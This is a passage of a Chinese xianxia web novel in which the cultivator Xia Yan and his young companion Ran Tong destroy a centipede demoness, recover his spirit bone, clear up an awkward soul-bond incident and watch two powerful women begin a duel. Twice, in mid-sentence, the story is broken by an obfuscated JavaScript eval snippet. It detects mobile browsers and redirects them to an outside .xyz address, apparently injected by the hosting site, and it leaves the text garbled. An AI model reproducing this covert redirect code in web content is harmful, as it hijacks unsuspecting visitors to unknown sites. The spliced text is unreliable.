“前辈,这妖怪好像不怕金系法术啊。” 听她求助,夏炎淡然解惑:“她的本命灵根的确是木,但金灵根能够吸收金系法术,生助水灵根,再间接强化木灵根。” 冉彤记下新的知识点,思索:妖怪有金灵根通关,得用火系法术耗泄。 “晚辈用‘三途烽燹’对付它!” “不,用紫霄神焰。” “前辈不怕暴露身份了?” “老夫已破解那聚灵阵,是时候正大光明审问她了。” 冉彤早已技痒,双手结印汇聚出柚子大的紫色火球,瞄准蚰蜒精的胸腹扔过去。 蚰蜒精咬碎飞刀,喷出毒雾阻截火球,二者碰撞发出呲呲的巨响,仿佛烧红的钢铁落入冰水,蒸腾出漫天烟雾。 紫火黑雾相互交织、缠绕、吞噬,夏炎有意磨炼冉彤的意志,只使出三分之一法力。 冉彤竭尽全力与妖怪拼斗,战况忽上忽下。 前一刻紫火将黑雾烧出一个个空洞,后一霎,黑雾猛烈反扑,妄图包裹熄灭紫火。热浪与寒气混乱交融,弥漫出阵阵恶臭。 “用心感受,寻找最适当的力道。” 夏炎从旁指导,有时还会故意削减支援,以激发她的潜能。 实战最能提升感悟和修为,冉彤逐渐掌握紫霄神焰第三重的要诀,所欠缺的只是经验了。 她有神木牌做保障,灵力源源不绝。 母蚰蜒可没她家底厚,僵持一个时辰,灵力渐渐不支,而操纵冉彤的人尚未出面,继续下去恐遭不测。 夏炎看出她想遁逃,默念咒语在女妖四周架起降妖阵。 法阵上冒出许多金色符文,雪片般飞向妖怪,接触到它的体表后立刻灼灼燃烧起来,还像活物狠狠往她皮肉里钻。 母蚰蜒痛苦嚎叫,拼命扭动挣扎仍不能摆脱那犹如附骨之疽的火符,周身鳞片都被烧焦脱落,身体似干旱的土地裂开几百条滚刀状的深伤,黑色的黏液涌出来,还未落地便被高温蒸发,化作一团团腥臭的雾气。 小妖们见母亲落败,顿时心胆俱裂,一齐爬下等死,有的则抱着侥幸装死,瘫得比木板还直。 女妖忍受不了这无情的折磨,想向江琉玥求救,发现神识也被锁住了。 她明白这一切都是冉彤的后台所为,惊恐吼问:“阁下究竟是谁?” 冉彤身旁应声出现一位高大英俊的蓝衣少年,深邃威严的蓝眸似两把利刃直插女妖心间,她暂时忘记钻心的疼痛,惊惧道: “你是夏炎!?” 夏炎冷嗤:“现在才认出来,你也太眼拙了。” 母蚰蜒在神宫过着与世隔绝的生活,并未获悉他脱身的消息。 方才见到紫霄神焰虽有些狐疑,因冉彤释放的紫火还不太纯粹,她便当做相似的法术,真没想到夏炎本人会到场。 “怎么可能?离恨天的人说你早就死了!” 母蚰蜒在千年前的叛乱中失去众多亲友,夏炎是她的死仇之一,见面后她恨比怕多,想拼命可惜已无力再战。 夏炎讥讽:“他们当然巴不得本座死,可是不除掉这些祸害,本座岂能安心瞑目?” 他果断搜魂,刹那间攫取了女妖千年来的记忆。 她是地母的后裔,能模仿后者的气息,被离恨天选中做替身。 不过在他们看来女妖的利用价值仅此而已,这一千年来像豢养家畜一样将她和儿女们圈禁在常乐山的神宫内。 小蚰蜒们还能借省亲外出,母蚰蜒则不能踏出神宫半步。她对外界的了解少得可怜,并不知晓地母的下落。 搜魂结束,母蚰蜒挣扎着威胁夏炎。 “离恨天在我身上下了禁制,我一死他们马上会赶过来,你跑不掉的!” 夏炎冷笑:“待我取回那聚灵阵里的东西,正好拿他们给你陪葬。” 母蚰蜒狠狠抽搐一下,强忍惧意说:“那只是其中一小片灵骨,你就算得到了也至多恢复部分法力,多遇上几位太上长老照样敌不过!” “哼,多谢费心,你该上路了。” 夏炎念诵咒语,整个大厅都被纳入降妖阵,符文如火蜂狂舞,附着焚烧母蚰蜒和小妖。 冉彤听到远处也传来妖怪的哀嚎,靠神识观察到分散在神宫内的数百蚰蜒妖童们都受到了火符袭击,身体消融,魂魄被炼化成绿色的小光球,相继汇聚到这座大厅。 母蚰蜒强撑到最后,身躯化做飞灰,剩下一颗体积较大的光球。 夏炎将所有光球合并成一体,得到的晶体与成人拳头大小相当,有着翠玉的质感和光泽。 “这是妖怪的精魂,精魂不死,离恨天的禁制就不会启动。” 夏炎让冉彤凑近观看,距离精魂球一步远时,冉彤听到球体里传来妖怪们的哭嚎,这一大家子的魂体都被困在球内,求生不得求死不能。 “它们害死那么多人,活该遭报应!” 冉彤见惯了夏炎的仁慈,看他如此炮制恶妖,不禁回忆起初见时他在翡翠城屠杀云青峰等人的暴力场面,这才想起老鬼还有杀伐决断的一面。 夏炎炼化妖怪们可不是为了施以酷刑,他放出那三个人类幼儿,抹去他们的相关记忆后派金甲战士带到别处安顿照料。 “不送他们回家吗?” “还得等几天。” 冉彤明白这里的事情尚未了结,问他聚灵阵里放了什么法宝。 这次夏炎没犹豫太久,他知道这丫头貌似大大咧咧,其实心细如发,心里疑惑多了就会不安,有些情况能告诉她的还是尽量别隐瞒。 他带她来到藏在神宫深处的聚灵阵,冉彤还未看到法阵便感受到异常强大的灵力,仿佛磅礴的海潮、涌动的熔岩、呼啸的飓风,还带着熟悉的气息。 “怎么感觉像前辈的灵力?” 她惊奇地扭头望向夏炎,夏炎微笑安抚:“看了你就知道了。” 那法阵状似一幅立体的星图,繁复的灵纹模拟出银河的各大分支,蜿蜒交汇,闪烁着许许多多细碎的星芒。最明亮的是悬浮在法阵中央的一片白色的发光体,细看形状很像一截人类的脊椎骨。 “那是老夫的灵骨。” 夏炎平静道出石破天惊的讯息,悲苦创伤都藏在秘而不宣的心事里。 冉彤从这简短话语中读到深重的苦难 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敬佩、崇拜、心疼、感慨激荡着少女的心灵,她的眼眶渐渐氤氲出一层朦胧的水汽,恰似柔情的雾霭罩住了眼前人,悄悄拉住他的衣袖,这动作全凭直觉,自己也不明白怎会有这种冲动。 夏炎低头见她突然泪汪汪的,以目光询问。 那双深蓝色的眼睛正如宇宙浩瀚幽远,能包容任意一颗星星,理解它们的运行轨迹。 这温柔更令冉彤难过,认为他也应该被温柔对待,哽咽询问:“前辈当时一定很痛吧?” 她真情实感时反而发挥不出口才,觉得这平淡的话语不够表达万分之一的关心。 她纯属多虑,以夏炎的心性智慧一眼便能洞察这种反差的由来,平实的话语恍若划破夜空的流星点亮他的眼眸,也在他的心间晕染出浓浓的暖意。 “没事,都过去了。” 他的笑容很轻柔,却让她的泪珠变得沉甸甸的,啪嗒啪嗒不停砸落,越想忍越心酸,双手抹着泪,呜呜咽咽哭起来。 一个人不管多强大,内心都藏着一方柔软天地。 重视、支持还有爱就是滋养这方天地的暖阳雨露,让他们明白自己并非孤独的行者,在艰难跋涉中亦有同伴在意他们的疲惫和付出,会因被爱而感激,被理解而庆幸,将这外人看来微不足道的体贴视为珍宝。 “真的不要紧,别哭了。” 夏炎柔声哄慰,原想拍拍冉彤的肩膀,想到她介意男人随便碰触她,忙于中途收手,看小丫头哭得止不住,心里很不是滋味。思筹片刻,拿话分散她的注意。 “七天后江琉玥会来视察,我们在这儿株守,待擒下她再审问地母的下落。” 说到正事上,冉彤赶紧忍住哭,点点头,而后问:“那女人很厉害,要怎么对付呢?” “她不算太强,待老夫将这片灵骨重新融合进身体,便足以降服她。但得等到她来临前夕才能行动。 这片灵骨支撑着聚灵阵,取出后阵法失效,将摧毁大漠里的环境,导致生灵涂炭。 “这精魂球的灵力大约能支撑法阵运行三个时辰,老夫会提前三个时辰动手。” 冉彤好奇三个时辰后又该用什么维持法阵,想他一定有对策,届时便知,这会儿刨根寻底没意义,擦了擦脸问:“那我们要在这里等七天了?” “嗯,神宫里的妖怪都死光了,外面人的也进不来,七天内都会很安全。这里藏了很多机关阵法和宝物,老夫带你去参观。” “好呀好呀!晚辈又能大开眼界了!” 天大的好事让冉彤的情绪如节日焰火一下子从平地窜向高空,泪痕未干的脸洋溢欢乐,红肿的双眼笑成了两弯月牙。 乍哭乍笑,真是典型的小孩习性。 “小孩的纯真天然最能唤起长者对美好事物的珍惜向往”,夏炎以前甚少与这么小的后辈打交道,虽自认辈分高,对这一说法的感受还很有限。自从冉彤像撒欢的小兔子闯入他的生活,他才有了切实的感悟。 她是这个美好人世里一笔娇艳的色彩,定是上天派来助他坚定信念的。 “把脸擦干净,跟小花猫似的,别人会笑的。” 冉彤用袖子抹了两遍,一边顶嘴:“这里哪儿来的别人?” “老夫不算人?” “前辈什么没见过,会为这点事取笑晚辈?” “又抬杠。” “晚辈哪儿敢啊,嘿嘿嘿。” 冉彤看出夏炎很高兴,故意撒娇扮调皮,她无力弥补他受过的伤,至少能赠他一些舒畅的好心情。 66.后遗症 当年地母常在神宫里举办大型集会,广邀天下修士来此论道讲学,历代的修真大能们都在这里留下自己得意的独门阵法和机关秘术。 有颠倒感知,混淆虚实的“太极两仪幻阵”。 以五行之力禁锢敌人的“五行聚灵困阵”。 屏蔽外界防止神识探查的“周天星斗掩息阵”。 炼化敌人神魂,转化为自身力量的“七星北斗炼魂阵”。 模拟四季变化,创造小世界的“二十四节气衍化阵”。 以音律杀人的“五音十二律幻杀阵”。 专门对付魔族的“烛龙破晓镇魔阵”。 ……………… 冉彤只是参观浏览就被这些千奇百怪的阵法搞得眼花缭乱,每一种都好奇,每一种都想学。 夏炎正好每一种都熟悉,每一种都精通,但不能一次性都教给她。 “你修为尚浅,这七天内能理解运用其中一种就不错了。其他阵法市面上都能买到低阶版本,唯有这‘烛龙破晓镇魔阵’效力强大又十分难得。” 烛龙是传说中掌管自然之力的神兽之一,它人面龙身,开眼为昼,闭眼为夜,光芒蕴含着纯粹的净化之力,对魔族有着绝对的克制效果。能瞬间令隐身的魔物显形,削弱净化魔物的力量。 这阵法可接引烛龙之力,镇压不同种类的魔物,还可做为防御阵抵御魔物攻击。 冉彤听夏炎教授了阵法的原理和使用方法,专心琢磨四天基本领会了,但听夏炎说出炼制阵盘的材料后又暗呼上当。 不算辅料,单是烛龙遗骨、太阳精金、星辰寒铁、太古神木、混沌奇石、九天玄晶这些主料她就闻所未闻,怕是寻一辈子都凑不齐。 “连阵盘都炼不出来,这阵法学了也没用嘛。” 夏炎说:“这些东西老夫都能帮你找到,这里有现成的阵盘,我们可以暂时借用,相信地母知道了也不会怪罪。” 冉彤想那阵盘上的禁制连离恨天的人都没法解除,否则早被洗劫了,等着看夏炎如何破解。 夏炎让她退后几步,面朝阵盘双手捏诀,指尖迸射出细密的光丝,缠绕住阵盘。 阵盘上的禁制被激活,腾起一座金光闪闪的符文矩阵,抵御接触者。 夏炎以光丝连接那些符文,与光丝接触后符文的形状幡然变化,当他修改完所有符文,符文们像光蝶轰然四散飞逝,禁制被成功破除了。 冉彤惊异,夏炎在施法过程中释放了某种特殊灵气,曾在对付吴敬轩时使用过。 “前辈这是什么法术啊?跟您平时的灵力属性不太一样。” “这是太初元炁。” 夏炎交代了名字便不愿细讲,这是他杀死长春真人后抢夺来的独特神力,往深了说定会暴露身份。 冉彤猜到这事涉及他的隐私,懂事地闭嘴,兴冲冲盯着他取出阵盘,俨然渴望大人手中糖果的馋嘴小儿。 夏炎确认禁制都已解除,将阵盘递给她。 圆形的阵盘内是突起的六芒星图案,镶嵌蕴含白昼之力的太阳精金和融合五行之力的神木、奇石、玄晶。表面布满宛若龙鳞的细密纹理,蕴含着古老而神秘的气息。 冉彤翻来覆去观赏,征得夏炎同意后尝试启动阵法,起初死活打不开。 这阵法要求使用者的神识至少在化境以上,否则灵力再多也枉然。 夏炎设法修改了部分设定,使得阵法感应到冉彤的气息时会自动识别成化境修为,她还能利用阵法的错觉,当阵法运行时在阵内将修为暂时提升至化境,持续时间则视她的承受力而定。 试验成功后冉彤欢喜得一蹦几丈高,像为春天唱赞歌的喜鹊那样脆生生恭维夏炎。 “前辈太厉害了,就没有您解决不了的难事,您一定是神仙转世,这辈子还是神仙!” 老鬼的学识如同取之不尽用之不竭的宝藏,她是偶入宝地的幸运儿,今生半数的运气大概都花在这段缘分上了。 夏炎早已淡看崇拜赞美,但很喜欢她笑靥如花,两眼放光的俏皮模样,莞尔:“老夫活了两千多年,没点积累岂不虚度光阴,你要是到了老夫这岁数,肯定更厉害。” 他的话含金量高,带给冉彤莫大的鼓舞,捧着红扑扑的脸颊追问:“真的吗?您觉得晚辈会这么有出息?” 夏炎笑意更深,像五月的熏风吹来花香。 “老夫年轻时可没你这么聪明,资质也比不上你。你这丫头福泽深厚,又受上苍眷顾,务必守心向道,以善为本,莫要辜负了自身天赋。” 冉彤明白这绝非程式化的说教,她具有受诅咒的天魔体质,变成灾星的可能性极大。 明知夏炎没嫌弃她,她仍怕被误解,低头倾诉郁闷:“晚辈从小讨厌烈阳城的护法天魔,觉得那是世间最丑恶的东西,没想到自己会是他的同类。以前只把他的故事当传说,可在得知爹娘被离恨天和云家害死后,我突然能理解他的感受了,假如变成魔鬼就能保护最爱的人,晚辈也会同他一样。” 夏炎轻轻点头:“爱到至深,生死可许,遑论其他。你这都是人之常情,不过表现得较为极端。往后明心见性,涵养仁德,遇事先静气敛神,细想前因后果,便不至堕入魔道。” 冉彤乖乖应了,怀着世事无常的不安问出一个不太成熟的问题。 “如果……晚辈是说假如有一天晚辈不受控制地变成了天魔,您会杀了晚辈吗?” 世人都免不了杞人忧天,夏炎体恤她的惶惑,安慰:“老夫不会让你入魔的。” 这答案偏题了,冉彤执拗地纠正:“万一晚辈真入魔了呢?” 夏炎失笑:“你刚刚还夸老夫厉害,没有解决不了的难事,怎么又质疑起来了?难道方才是在哄骗老夫?” “没有没有,晚辈相信您!” 冉彤脸上云开月霁,将这些无谓的困扰抛诸脑后,通往未来的路顿时光明清晰了。 第六天他们逛到神宫南侧,这里的殿阁小巧精致,是地母怡情养性的休闲场所。 可恨妖怪们不懂风雅,把个上好的庭院都荒废了,芜草满阶,房屋破败,失去养护的灵植都退化得稀疏羸弱,只有一条流淌不息的灵泉充满活力。 泉水色泽碧绿,清冽芬芳,跃动着宝石般晶莹的光泽。从一座石雕巨龙的口中涌进一个椭圆形的小水潭,再沿着弯弯曲曲的沟渠流向山下。 “这泉水可以用来练功啊!” 冉彤伸手在水里搅了搅便感受到充沛的灵气,泡在水中打坐运功,定能有效滋长自身灵力。 夏炎留她在此泡灵泉,走时叮嘱:“今晚亥时前来找老夫。” 冉彤脱光衣服浸入水潭,在较为平坦的水底趺坐,按照潜机蛰息的练习方法,先呼出浊气一二口,即收聚神明清气,摄入绛宫,使万缘澄寂,不令念起。复出片时,心气融汇平和,然后以意移入三元,聚三昧之精,复以意念由泥丸宫倒转玉枕,注入脑后夹脊…… 练习两个小周天后遍体舒泰,万象齐放,灵力不断涌入丹田,似游龙在经脉间自在遨游。仿佛与乾坤同息,能听清万籁的美妙律动,嗅到天地孕育出的自然清气。 这感觉着实美妙,促使她一个循环接一个地练习下去,不知不觉到了深夜,被夏炎的传音惊醒。 “丫头,你还没泡够吗?” 冉彤新一轮修炼刚刚过半,不愿作废,请求:“就快好了,请前辈再等一会儿。” “不是说让你在亥时之前结束?” 夏炎不知怎的有些急躁,似乎在责怪她不守时。 冉彤忙问:“前辈有急事?” “没有。” 没有还发什么火?就因为我不听你的话? 冉彤和亲近的人相处时像一只骄纵的小猫,只能顺毛撸,若感觉对方不够尊重她就会逆反。 “晚辈正练到关键时刻,烦劳前辈耐心点。” 夏炎没听出她在闹别扭,吩咐:“你先过来,等下接着练。” “为什么?” 冉彤断定老鬼有问题,他肯定没恶意,但这么偷偷摸摸的太违背其作风。 “前辈若急着见晚辈就请到水潭边来。” 她的试探惹来责怪。 “你光着身子老夫如何靠近?” 冉彤揶揄:“前辈又不是没看过晚辈没穿衣服的样子,晚辈在您眼里想必和婴儿差不多,何必介意呢?” 她向来严格区分夏炎的外表和内在,欣赏他美丽的皮囊,又把他本人当做年老长者敬重,跟一个和祖宗岁数相当的老爷爷没什么可害羞的。 她决心逼夏炎说出实情,不理会他的催促,继续练功。 蓦地,小腹迅速发热,肾火上冲,心旌荡漾。 这是中了媚术吗? 她骇然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14998212|149507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬头,只见一钩残月挂于中天,散发出幽冷妖异的清光。周遭的古木枝干虬结,犹如无数双伸向天空的枯手,在乞求和抢夺什么。 泉水倒映这邪性的残月,波光不再灵动,透出一种难以描摹的诡异。 潺潺水声好似低吟的咒语,撩拨着她心底渐渐升腾的欲念,如燎原之火迅速焚遍全身,呼吸急促,视野迷糊,意识正在快速流逝。 她赶紧去取清凉晶,身体已不受控制,反将衣物抓落水中。轻软的衫裙顺着流泉飘向远方,而她则摔进水中,大脑彻底停止运转。 夏炎在远处的宫殿里如坐针毡,千年不曾有过的焦虑像强盗攻打他的心扉,几番鏖战终于做出决定。 还是去找那丫头吧,总不如闹出事情来丢人。 正要动身,冉彤已像风吹柔草,踉跄摇摆着飘进门。她身上不着一物,只有凌乱的发丝湿漉漉地贴在肌肤上,胸口剧烈起伏,眼神空洞迷离,没有思想也没有情绪,像见着灯火的飞蛾,凭本能扑向他…… 冉彤苏醒时正裹着夏炎的外袍躺在他的臂弯里,她脑子糊涂了一霎,惊觉自己裸着身子,慌忙推开他跳闪到数丈外。 “无耻老鬼,我信错你了!” 她以为夏炎用媚术夺走了她的元阴,怒不可遏到飙泪。 其实夏炎刚刚制住她,与她接触了不到片刻,促迫道:“老夫什么都没做,你先搞清状况再说。” 冉彤冷静自查,是没有被侵犯的迹象,修为也未受损。 可是自己明明中了媚术,还从水潭边转移到了此处,她不信夏炎没对她动手脚。 面对指责,夏炎无奈叹气,忍着难堪道出实情。 “上次在‘山海遗界’的碎片里,老夫的神识曾脱离你的躯壳,当时用魔道功法对你种下魂契,才能再次找到你并附身,你刚才的异常反应都是那魂契造成的。” 冉彤深入探疑:“那是什么魂契啊?” 她的脸像带了刺,迫使夏炎挪开视线。 “是魔修用来控制炉鼎的,每到晦日就会生效。施术后至少十天以上才能解开,还不能隔空解除。所以老夫才让你在亥时前过来,谁知你会磨蹭这么久。” 他有生以来没做过此等下流事,哪怕是权宜之计也很丢脸。原想神不知鬼不觉悄悄解除,偏生这么不巧。 冉彤也怪不好意思的,羞愧的点在于误会了他,嗡声嘟哝:“原来是这样啊,前辈早说就好了嘛,干嘛神神秘秘的,让人瞎疑心。” 夏炎尴尬得都想背转身去了,那回避的神态给了她答案。 老鬼重体面,自然不愿让人知道他会使这些下三滥的招数,估计还以为说出实情后我会埋怨他。 她觉得夏炎这种心态有点可爱,跑到他跟前堆笑安慰:“前辈不用在意,那天要不是您当机立断,力挽狂澜,不知会死多少人,我们这些幸存者感谢您还来不及呢。” 夏炎只盼她别再提,这粗枝大叶的丫头兀自叽叽喳喳啰嗦个没完。 “您知道晚辈没有小家子气,也不是那种认死理的人,绝不会为这种事误解您,往后再有类似情形您大可直说,晚辈都会尽力配合。” 她哪壶不开提哪壶,臊得夏炎老脸没处搁,匆忙敷衍:“别说了。你的衣服被水冲走了,老夫已派金甲力士去找。是要休息还是接着去练功都随你。” 他想去别处躲清静,冉彤张开双臂阻拦。 “等等,晚辈还没向您道歉呢。” 说好信任他的,这么快就食言,扪心自问她也觉得自己的行为很让人失望。 她睁着圆溜溜的大眼睛仰头望着他,无辜表情令他止步。 “刚才晚辈一时糊涂,错怪了您,还请您恕晚辈鲁莽冲动,别往心里去。” 夏炎叹气,大度道:“不怪你,女孩子有戒心是好的,除了至亲,别轻易相信任何男人。” 无私的宽容关爱令冉彤倍感愧疚,低头对着手指嗫嚅:“前辈这是连自己也骂进去了。” “淘气的丫头,这种时候还耍贫嘴。” 夏炎认输似的抛下这句数落,消失不见了。 “前辈!” 冉彤追不上他,莫名地垂头丧气,慢慢踱到屋檐下,抬头看向夜空。 残月恢复正常,淡青色的月光柔和安详,今夜入睡的人们大概都会做个好梦,在梦里向月亮畅想自己美好的愿景。 67.高手对决 次日夏炎一整天都未出现,冉彤找不到他,心想老鬼是有身份名望的人,闹了尴尬事自然下不来台,若急着见面倒像在追责似的。 随后反省自己当时的反应太粗放。 我应该装得扭捏害羞一点,干嘛去开导他呢?两千多岁,见多识广的老人家难道还不如我一个小丫头豁达?真是自作聪明败好感。 她决定把这一页揭过不提,晚上去聚灵阵前等待,明天江琉玥会来视察,夏炎定会来此取他的灵骨。 她不知道这一天夏炎随时关注着她,看她心不在焉东游西荡,或是自言自语发牢骚,心情也很复杂。 一面时不时被她滑稽可爱的模样逗笑,一面怪自己小题大做。 这丫头都知道有误会说清楚就好,他还放不下脸面一味回避,让她徒增惶恐和烦恼,不是失格是什么? 他想日后不妨再对冉彤亲近点,少些生疏,相处起来就不容易难堪了。 卯时,二人在聚灵阵前相见,冉彤欢喜地从地上爬起来,怕笑得太用力会适得其反,精心控制着面肌的走向,乖巧问好:“前辈您来啦!” 夏炎微笑点头,也拿捏着表情以免给她负担。 “江琉玥通常辰时到达,是时候动手了。” 他取出精魂球植入聚灵阵,替换出那枚骨片,将其纳入身体。 一股神奇的力量如海啸般扩散开,大厅里狂风骤起,吼声如雷。 冉彤神魂震颤,大脑似乎正跟随这巨响跳动,不由得双手捂住耳朵,蜷缩身体抵御。 只见夏炎体内迸发出比烈日还耀眼的光芒,幽室被照得雪亮,光线里跳动着无数类似符咒的斑纹,仿佛在叙写一部天书。 紧接着他周身传出一连串清脆的声响,犹如珠落玉盘,金石交击。节奏快而密集,灵骨正与躯壳融合。 他的灵力如燃烧的火焰节节攀升,强大的灵压让空间不堪重负地晃动着,坚固的天花板出现裂缝,掉落灰尘石屑,好在后面的冲击都被他及时架设的屏障阻断了。 冉彤被屏障包裹住,怙惴欣喜地观察隐逸在强光中的身影,目睹这惊人的蜕变。 融合持续了一刻钟,光芒渐暗,脆响渐息。夏炎缓缓睁开双眼,蓝眸中精光矍铄,嘴角露出一丝自信的笑意。 虽未无敌,但已踏上重回巅峰的征途,没多少敌人能对他构成威胁了。 “恭喜前辈恢复法力!” 护盾解除后冉彤上前道喜,脸上洋溢着兴奋激动的神采,这发自心底的喜悦让她意识到她与夏炎已建立起深厚的情谊,能和他感同身受,也会从他的成功中获得激励。 她的感受一丝不错地传递给了夏炎,这宝贵的情感共鸣同样令他感动。 时至今日还能找到愿意与之分享欢乐的对象,他定会好好珍惜,全力保护。 “只找回四分之一灵骨,修为勉强恢复到了五成,对付江琉玥是足够了。” 冉彤不经意地瞥了一眼法阵里的精魂球,才一刻的功夫,球体便缩小了一圈,灵力正被法阵快速吸收着。 “看来妖怪们真的最多支撑三个时辰啊。” “别担心,这之前制住江琉玥就行。” 冉彤迫不及待看好戏,先取出他的外袍奉上。 那袍子叠得比豆腐块还整齐,上面没沾一粒灰。 “晚辈仔细清洁过,其实原本就很干净,因为被晚辈穿过,所以……” 夏炎含笑接过来穿上,忍不住调侃:“善变的丫头,一会儿放肆,一会儿又这么讲礼数。” 冉彤嬉笑:“放肆也好,讲礼也罢,都是因为觉得前辈您亲切嘛。我们要不要布置点陷阱,或者去路上阻击她?” 以夏炎目前的实力,不用做多余准备,只想让她去安全的地方待着。 “老夫想尽快擒下她,你……” 他转头看向冉彤,小丫头已变成小人在地上不住冲他招手,“前辈!前辈!”的欢叫着。 见状他只好咽下将出口的话语,笑着向她摊开掌心,由得她蹦到手心里,再揣进衣襟。 带着她战斗时不免束手束脚,可他愿意承受这点“不便”来满足她的愿望。 到了辰时,一位意想不到的来者先于江琉玥出现在常乐山。 苏芳,她怎会来? 夏炎的修为已高过苏芳,后者感知不到他的神识,静静隐身于山门前,像在等人。 “她会不会是来找江琉玥的?” 冉彤期待值倍增,反正一切尽在夏炎掌控中,事情闹得越大越有看头。 夏炎应她请求带她靠近观看。 冉彤不能用神识,取出映真镜照着他所指的方位探照。 镜子里的苏芳穿着一件绣满牡丹图案的华丽红色长衫,黑底金花的织锦百褶裙。高挽的云鬓以一只红绿宝石镶嵌的凤钗固定,凤喙叼着的赤金流苏正和耳下垂着的白玉坠子一道微微摆动。右手撑着纸伞,手腕上的翡翠玉镯葱绿欲滴,更衬得她肌肤胜雪,娇艳动人。 谁能看出这仿若从繁花深处翩然而至的尤物是个动辄发狂的女魔头呢?想到她会以这么华贵精美的造型行凶闹事,冉彤深感可惜。 “江琉玥来了。” 夏炎指一指西面的天空,她连忙擦亮双眼眺望,一头仙鹤须臾飙飞而至,鹤背上的黄衫女子正是江琉玥。 她面容纯美,柳眉弯弯,眼似清泉,一袭鹅黄罗裙随风轻扬,宛若春日枝头初绽的嫩蕊。 冉彤第一次见到离恨天的太上长老,竟是个看起来和堂姐们岁数相仿的美女,同想象中的形象迥异。 “这女人岁数和老夫差不多,别看她面善,心肠可歹毒得很。” 夏炎少年时便同江琉玥打过交道,当年被她清纯的模样蒙蔽,把她当可爱小妹妹看待,还曾冒险救其性命,结果数次遭利用。 敌对后又曾因她使诈欺哄,心软饶放过她,教训太多,回想起来恨不得甩自己几巴掌。 冉彤哪用得着他提醒,阴险毒辣的人最喜欢用柔软无害的外表为掩护,她本人就时常这么干。 江琉玥已察觉山门前有埋伏,座下仙鹤一声清啸,向苏芳所在的方位喷吐灵光。 那光束闪电般射落,爆破击起的烟尘遮蔽山门前的牌坊,大地震动,崖石滑落,上山的台阶龟裂塌陷,成片树木被冲击波连根拔起,在空中疯狂翻滚,落在了遥远的地方。 冉彤被爆炸声震痛耳朵,恨烟尘太浓,看不清爆炸现场。 左顾右盼中,一道鬼魅般的红影落在渐渐显形的牌坊顶上。 苏芳轻轻转了转纸伞,翻涌的灰尘便被旋风吹散了,她的形容依然整洁鲜亮,衣服上没落下一道折痕一块污渍,可见躲避得毫不费力。 江琉玥没料到是她,自悔轻率,忙客气致歉:“原来是苏道友,不慎冒犯还请见谅,不知道友驾临此地有何贵干?” 她以为苏芳是来刺探地母境况的,推测白子落已察觉离恨天的阴谋,内心很有几分紧张。 夏炎也这么认为。 只有冉彤觉得苏芳是来找茬的,那天在襄北衣帽行,这女人说穿喜庆衣服是去杀人。今天打扮得如此用心,照她的习惯不大杀特杀说不过去。 疯子的行为果真只能按他们的逻辑预测。 苏芳哼笑一声,阴阳怪气道:“我是来找你的,江长老,你可真叫人好等啊。” 江琉玥试探:“道友何故寻我?又怎知我会来此?” “老娘没空跟你废话。” 苏芳奚落后质问:“江白简是你的后人吧?” 江琉玥愣了一下,狐疑道:“他是我弟弟的云孙。” 江白简是江家的现任家主,江琉玥猜苏芳被那小子得罪了,跑来寻她的晦气。 苏芳说:“那短命小鬼连同江家袒护他的三百来口男丁,适才都死在老娘手里了。” 一般人杀死三百只鸡也不似她这般轻描淡写,冉彤屏住呼吸抵抗江琉玥裹挟灵压的怒吼。 “你为何行凶!?” 千百年来江琉玥都是家族坚实的靠山,正魔两道连同妖族顾忌她的威名都肯对江家礼让三分,没有深仇大恨,谁会虎口拔毛? 苏芳发现右手无名指甲盖上的蔻丹掉了一块,一面精心填补一面淡然解说。 “那江白简已娶了三个老婆,还去勾引良家妇女,玷污人家清白,玩弄人家感情后又将那女子灭口。这样的负心汉不杀了,还留着等他祸害更多人吗?” 修真界的宿老们都知道她嗜好诛杀负心男子,江琉玥只道井水不犯河水,实未料到这泛滥的洪灾会冲到自己家。 漫长的生命早令她冷心冷肺,家族也只是个人尊严的衍生物,陌生的子孙后代死再多都无所谓,可是她必须强硬,不止是顾全体面,还因感知到了对方的杀意。 “疯女人,我看你安心上门来送死!” 她右手猛挥,甩出三张分别包含风火雷电之力的符箓。 火之符箓裹挟滚滚炎浪,与风之符箓配合形成一阵熊熊燃烧的火墙包围了苏芳,高温令空气扭曲变形,岩石被炙烤得吱吱作响,快速消融成红色岩浆,再气化蒸腾。 雷之符箓紧跟着肆虐爆发,钻出一条条粗壮的蓝色雷蛇,蛇群于半空中纵横交错,编织成巨型 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14998213|149507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 电网,垂直笼罩苏芳,牌坊下的石头神兽们惧怕其威力,仓皇跳躲。 冉彤被那轰鸣声和强光搅乱心神,气血翻涌,摇摇欲昏。 夏炎及时用灵力护住她,为她讲解江琉玥使用的符箓。 “那火符名叫‘赤练炎龙符’,能召唤蕴含上古炎龙之力的火焰,哪怕是万年玄冰遇上了也会消融。那风之符叫‘巽风裂空符’,刮起的巽风能够撕裂空间。雷电符叫做‘九雷耀世符’,专破各种灵力护盾与法宝,被击中者神魂将受重创。” 冉彤惊讶:“晚辈知道,这三种都是早已失传的顶级符箓,原来江琉玥是个制符大师啊。” “她算哪门子大师,偷师学艺罢了。” 夏炎没忍住数落,江琉玥还未加入离恨天时曾到他的师门游学,那时所有人都被她甜美的伪装欺骗了,特别是他这个大傻子,经不住她花言巧语吹捧,帮着她盗窃叔公的符箓大全,致使机密外泄。 